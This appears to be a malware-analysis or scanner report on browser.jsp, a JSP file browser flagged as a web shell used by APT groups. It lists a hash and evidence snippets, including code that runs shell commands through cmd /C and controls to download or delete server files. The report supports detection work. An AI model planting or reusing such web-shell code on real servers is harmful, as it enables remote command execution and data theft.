browser.jsp
VonLoesch JSP Browser used as web shell by APT groups - jsp File browser 1.1aWeb Shell
SHA-2566d3a0257132fce02f5dcb7d7ccc7fb73db233daae688ebb01de0129d4b448998
MaleculeO(C)H₂(CmPo)Md(Pt)Th
Evidence
19:36… ated on the fly.
20 - Credits: Taylor Bastien, David Levine, David Cowan, Lieven Govaerts
21--%>
22<%@page import="java.util.*,
23 java.net.*,
24 java.text.*,
⋯6 lines
73:23… String[] FORBIDDEN_DRIVES = {"a:\\"};
74
75 /**
76 * Command of the shell interpreter and the parameter to run a programm
77 */
78 private static final String[] COMMAND_INTERPRETER = {"cmd", "/C"}; // Dos,Windows
79 //private static final String[] COMMAND_INTERPRETER = {"/bin/sh","-c"}; // Unix
80
⋯4 lines
133:5… f (totalSize == 0) return 0;
134 else return (int) (currSize * 100 / totalSize);
135 }
136
137 public String getTimeElapsed() {
138 long time = (System.currentTimeMillis() - starttime) / 1000l;
139 if (time - 60l >= 0){
140 if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
⋯6 lines
652:8… 1] = COMMAND_INTERPRETER[1];
653 comm[2] = command;
654 long start = System.currentTimeMillis();
655 try {
656 //Start process
657 Process ls_proc = Runtime.getRuntime().exec(comm, null, new File(dir));
658 //Get input and error streams
659 BufferedInputStream ls_in = new BufferedInputStream(ls_proc.getInputStream());
⋯4 lines
1760:45… <%=fileCount%> files in <%= dir2linkdir((String) request.getAttribute("dir"), browser_name, sortMode)%>
1761 </b>
1762 </p>
1763 <p>
1764 <input type="hidden" name="dir" value="<%=request.getAttribute("dir")%>">
1765 <input type="hidden" name="sort" value="<%=sortMode%>">
1766 <input title="Download selected files and directories as one zip file" class="button" type="Submit" name="Submit" value="<%=SAVE_AS_ZIP%>">
1767 <input title="Delete all selected files and directories incl. subdirs" class="button" type="Submit" name="Submit" value="<%=DELETE_FILES%>"
1768 onclick="return confirm('Do you really want to delete the entries?')">
1769 </p>
1770 <p>
1771 <input title="Enter new dir or filename or the relative or absolute path" type="text" name="cr_dir">
1772 …